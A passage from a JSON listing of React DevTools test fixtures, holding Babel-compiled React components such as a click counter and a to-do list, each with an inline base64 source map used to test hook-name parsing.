/*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkV4YW1wbGUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJzZXRDb3VudCJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50LCBzZXRDb3VudF0gPSB1c2VTdGF0ZSgwKTtcblxuICByZXR1cm4gKFxuICAgIDxkaXY+XG4gICAgICA8cD5Zb3UgY2xpY2tlZCB7Y291bnR9IHRpbWVzPC9wPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXsoKSA9PiBzZXRDb3VudChjb3VudCArIDEpfT5DbGljayBtZTwvYnV0dG9uPlxuICAgIDwvZGl2PlxuICApO1xufVxuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiIsImNvdW50Il0sIm1hcHBpbmdzIjoiQ0FBRDthNEJDQSxBV0RBIn1dXV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIklubGluZVJlcXVpcmUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJyZXF1aXJlIiwidXNlU3RhdGUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFBQTs7Ozs7Ozs7QUFTTyxTQUFTQSxTQUFULEdBQXFCO0FBQzFCLFFBQU0sQ0FBQ0MsS0FBRCxJQUFVQyxPQUFPLENBQUMsT0FBRCxDQUFQLENBQWlCQyxRQUFqQixDQUEwQixDQUExQixDQUFoQjs7QUFFQSxTQUFPRixLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50XSA9IHJlcXVpcmUoJ3JlYWN0JykudXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIGNvdW50O1xufVxuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiJdLCJtYXBwaW5ncyI6IkNBQUQifV1dXX0="
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIlRvRG9MaXN0LmpzIl0sIm5hbWVzIjpbIkxpc3RJdGVtIiwiaXRlbSIsInJlbW92ZUl0ZW0iLCJ0b2dnbGVJdGVtIiwiaGFuZGxlRGVsZXRlIiwiaGFuZGxlVG9nZ2xlIiwiaXNDb21wbGV0ZSIsInRleHQiLCJMaXN0IiwicHJvcHMiLCJuZXdJdGVtVGV4dCIsInNldE5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJzZXRJdGVtcyIsImlkIiwidWlkIiwic2V0VUlEIiwiaGFuZGxlQ2xpY2siLCJoYW5kbGVLZXlQcmVzcyIsImV2ZW50Iiwia2V5IiwiaGFuZGxlQ2hhbmdlIiwiY3VycmVudFRhcmdldCIsInZhbHVlIiwiaXRlbVRvUmVtb3ZlIiwiZmlsdGVyIiwiaXRlbVRvVG9nZ2xlIiwiaW5kZXgiLCJmaW5kSW5kZXgiLCJzbGljZSIsImNvbmNhdCIsIm1hcCJdLCJtYXBwaW5ncyI6Ijs7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFHTyxTQUFTQSxRQUFULENBQWtCO0FBQUNDLEVBQUFBLElBQUQ7QUFBT0MsRUFBQUEsVUFBUDtBQUFtQkMsRUFBQUE7QUFBbkIsQ0FBbEIsRUFBa0Q7QUFDdkQsUUFBTUMsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0QsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPQyxVQUFQLENBRmtCLENBQXJCO0FBSUEsUUFBTUcsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0YsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPRSxVQUFQLENBRmtCLENBQXJCO0FBSUEsc0JBQ0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsa0JBQ0U7QUFBUSxJQUFBLE9BQU8sRUFBRUMsWUFBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FB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Q0FBUjtBQVNELEdBZmdCLEVBZ0JqQixDQUFDZixLQUFELENBaEJpQixDQUFuQjtBQW1CQSxzQkFDRSxvQkFBQyxjQUFEO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLFlBREYsZUFFRTtBQUNFLElBQUEsSUFBSSxFQUFDLE1BRFA7QUFFRSxJQUFBLFdBQVcsRUFBQyxrQkFGZDtBQUdFLElBQUEsS0FBSyxFQUFFRixXQUhUO0FBSUUsSUFBQSxRQUFRLEVBQUVXLFlBSlo7QUFLRSxJQUFBLFVBQVUsRUFBRUgsY0FMZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQUZGLGVBU0U7QUFBUSxJQUFBLFFBQVEsRUFBRVIsV0FBVyxLQUFLLEVBQWxDO0FBQXNDLElBQUEsT0FBTyxFQUFFTyxXQUEvQztBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxrQkFDRTtBQUFNLElBQUEsSUFBSSxFQUFDLEtBQVg7QUFBaUIsa0JBQVcsVUFBNUI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsV0FERixDQVRGLGVBY0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsS0FDR0wsS0FBSyxDQUFDbUIsR0FBTixDQUFVOUIsSUFBSSxpQkFDYixvQkFBQyxRQUFEO0FBQ0UsSUFBQSxHQUFHLEVBQUVBLElBQUksQ0FBQ2EsRUFEWjtBQUVFLElBQUEsSUFBSSxFQUFFYixJQUZSO0FBR0UsSUFBQSxVQUFVLEVBQUVDLFVBSGQ7QUFJRSxJQUFBLFVBQVUsRUFBRUMsVUFKZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQURELENBREgsQ0FkRixDQURGO0FBMkJEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7RnJhZ21lbnQsIHVzZUNhbGxiYWNrLCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gTGlzdEl0ZW0oe2l0ZW0sIHJlbW92ZUl0ZW0sIHRvZ2dsZUl0ZW19KSB7XG4gIGNvbnN0IGhhbmRsZURlbGV0ZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICByZW1vdmVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgcmVtb3ZlSXRlbV0pO1xuXG4gIGNvbnN0IGhhbmRsZVRvZ2dsZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICB0b2dnbGVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgdG9nZ2xlSXRlbV0pO1xuXG4gIHJldHVybiAoXG4gICAgPGxpPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXtoYW5kbGVEZWxldGV9PkRlbGV0ZTwvYnV0dG9uPlxuICAgICAgPGxhYmVsPlxuICAgICAgICA8aW5wdXRcbiAgICAgICAgICBjaGVja2VkPXtpdGVtLmlzQ29tcGxldGV9XG4gICAgICAgICAgb25DaGFuZ2U9e2hhbmRsZVRvZ2dsZX1cbiAgICAgICAgICB0eXBlPVwiY2hlY2tib3hcIlxuICAgICAgICAvPnsnICd9XG4gICAgICAgIHtpdGVtLnRleHR9XG4gICAgICA8L2xhYmVsPlxuICAgIDwvbGk+XG4gICk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBMaXN0KHByb3BzKSB7XG4gIGNvbnN0IFtuZXdJdGVtVGV4dCwgc2V0TmV3SXRlbVRleHRdID0gdXNlU3RhdGUoJycpO1xuICBjb25zdCBbaXRlbXMsIHNldEl0ZW1zXSA9IHVzZVN0YXRlKFtcbiAgICB7aWQ6IDEsIGlzQ29tcGxldGU6IHRydWUsIHRleHQ6ICdGaXJzdCd9LFxuICAgIHtpZDogMiwgaXNDb21wbGV0ZTogdHJ1ZSwgdGV4dDogJ1NlY29uZCd9LFxuICAgIHtpZDogMywgaXNDb21wbGV0ZTogZmFsc2UsIHRleHQ6ICdUaGlyZCd9LFxuICBdKTtcbiAgY29uc3QgW3VpZCwgc2V0VUlEXSA9IHVzZVN0YXRlKDQpO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gdXNlQ2FsbGJhY2soKCkgPT4ge1xuICAgIGlmIChuZXdJdGVtVGV4dCAhPT0gJycpIHtcbiAgICAgIHNldEl0ZW1zKFtcbiAgICAgICAgLi4uaXRlbXMsXG4gICAgICAgIHtcbiAgICAgICAgICBpZDogdWlkLFxuICAgICAgICAgIGlzQ29tcGxldGU6IGZhbHNlLFxuICAgICAgICAgIHRleHQ6IG5ld0l0ZW1UZXh0LFxuICAgICAgICB9LFxuICAgICAgXSk7XG4gICAgICBzZXRVSUQodWlkICsgMSk7XG4gICAgICBzZXROZXdJdGVtVGV4dCgnJyk7XG4gICAgfVxuICB9LCBbbmV3SXRlbVRleHQsIGl0ZW1zLCB1aWRdKTtcblxuICBjb25zdCBoYW5kbGVLZXlQcmVzcyA9IHVzZUNhbGxiYWNrKFxuICAgIGV2ZW50ID0+IHtcbiAgICAgIGlmIChldmVudC5rZXkgPT09ICdFbnRlcicpIHtcbiAgICAgICAgaGFuZGxlQ2xpY2soKTtcbiAgICAgIH1cbiAgICB9LFxuICAgIFtoYW5kbGVDbGlja10sXG4gICk7XG5cbiAgY29uc3QgaGFuZGxlQ2hhbmdlID0gdXNlQ2FsbGJhY2soXG4gICAgZXZlbnQgPT4ge1xuICAgICAgc2V0TmV3SXRlbVRleHQoZXZlbnQuY3VycmVudFRhcmdldC52YWx1ZSk7XG4gICAgfSxcbiAgICBbc2V0TmV3SXRlbVRleHRdLFxuICApO1xuXG4gIGNvbnN0IHJlbW92ZUl0ZW0gPSB1c2VDYWxsYmFjayhcbiAgICBpdGVtVG9SZW1vdmUgPT4gc2V0SXRlbXMoaXRlbXMuZmlsdGVyKGl0ZW0gPT4gaXRlbSAhPT0gaXRlbVRvUmVtb3ZlKSksXG4gICAgW2l0ZW1zXSxcbiAgKTtcblxuICBjb25zdCB0b2dnbGVJdGVtID0gdXNlQ2FsbGJhY2soXG4gICAgaXRlbVRvVG9nZ2xlID0+IHtcbiAgICAgIC8vIERvbnQgdXNlIGluZGV4T2YoKVxuICAgICAgLy8gYmVjYXVzZSBlZGl0aW5nIHByb3BzIGluIERldlRvb2xzIGNyZWF0ZXMgYSBuZXcgT2JqZWN0LlxuICAgICAgY29uc3QgaW5kZXggPSBpdGVtcy5maW5kSW5kZXgoaXRlbSA9PiBpdGVtLmlkID09PSBpdGVtVG9Ub2dnbGUuaWQpO1xuXG4gICAgICBzZXRJdGVtcyhcbiAgICAgICAgaXRlbXNcbiAgICAgICAgICAuc2xpY2UoMCwgaW5kZXgpXG4gICAgICAgICAgLmNvbmNhdCh7XG4gICAgICAgICAgICAuLi5pdGVtVG9Ub2dnbGUsXG4gICAgICAgICAgICBpc0NvbXBsZXRlOiAhaXRlbVRvVG9nZ2xlLmlzQ29tcGxldGUsXG4gICAgICAgICAgfSlcbiAgICAgICAgICAuY29uY2F0KGl0ZW1zLnNsaWNlKGluZGV4ICsgMSkpLFxuICAgICAgKTtcbiAgICB9LFxuICAgIFtpdGVtc10sXG4gICk7XG5cbiAgcmV0dXJuIChcbiAgICA8RnJhZ21lbnQ+XG4gICAgICA8aDE+TGlzdDwvaDE+XG4gICAgICA8aW5wdXRcbiAgICAgICAgdHlwZT1cInRleHRcIlxuICAgICAgICBwbGFjZWhvbGRlcj1cIk5ldyBsaXN0IGl0ZW0uLi5cIlxuICAgICAgICB2YWx1ZT17bmV3SXRlbVRleHR9XG4gICAgICAgIG9uQ2hhbmdlPXtoYW5kbGVDaGFuZ2V9XG4gICAgICAgIG9uS2V5UHJlc3M9e2hhbmRsZUtleVByZXNzfVxuICAgICAgLz5cbiAgICAgIDxidXR0b24gZGlzYWJsZWQ9e25ld0l0ZW1UZXh0ID09PSAnJ30gb25DbGljaz17aGFuZGxlQ2xpY2t9PlxuICAgICAgICA8c3BhbiByb2xlPVwiaW1nXCIgYXJpYS1sYWJlbD1cIkFkZCBpdGVtXCI+XG4gICAgICAgICAgQWRkXG4gICAgICAgIDwvc3Bhbj5cbiAgICAgIDwvYnV0dG9uPlxuICAgICAgPHVsPlxuICAgICAgICB7aXRlbXMubWFwKGl0ZW0gPT4gKFxuICAgICAgICAgIDxMaXN0SXRlbVxuICAgICAgICAgICAga2V5PXtpdGVtLmlkfVxuICAgICAgICAgICAgaXRlbT17aXRlbX1cbiAgICAgICAgICAgIHJlbW92ZUl0ZW09e3JlbW92ZUl0ZW19XG4gICAgICAgICAgICB0b2dnbGVJdGVtPXt0b2dnbGVJdGVtfVxuICAgICAgICAgIC8+XG4gICAgICAgICkpfVxuICAgICAgPC91bD5cbiAgICA8L0ZyYWdtZW50PlxuICApO1xufVxuIl0sInhfZmFjZWJvb2tfc291cmNlcyI6W1tudWxsLFt7Im5hbWVzIjpbIjxuby1ob29rPiIsImhhbmRsZURlbGV0ZSIsImhhbmRsZVRvZ2dsZSIsIm5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJ1aWQiLCJoYW5kbGVDbGljayIsImhhbmRsZUtleVByZXNzIiwiaGFuZGxlQ2hhbmdlIiwicmVtb3ZlSXRlbSIsInRvZ2dsZUl0ZW0iXSwibWFwcGluZ3MiOiJDQUFEO2N1QkNBO2dCQ0RBO2tCREVBO29CQ0ZBO3NDZ0JHQSxBWUhBO3VDeEJJQTsyQ3hCSkE7NENvQktBLEFXTEE7OENiTUE7MkRTTkE7NkROT0E7b0V0QlBBO3NFb0JRQTsyRXBCUkE7NkVrQlNBO2dGbEJUQTtrRmtCVUE7bUdsQlZBIn1dXV19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/index-map/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      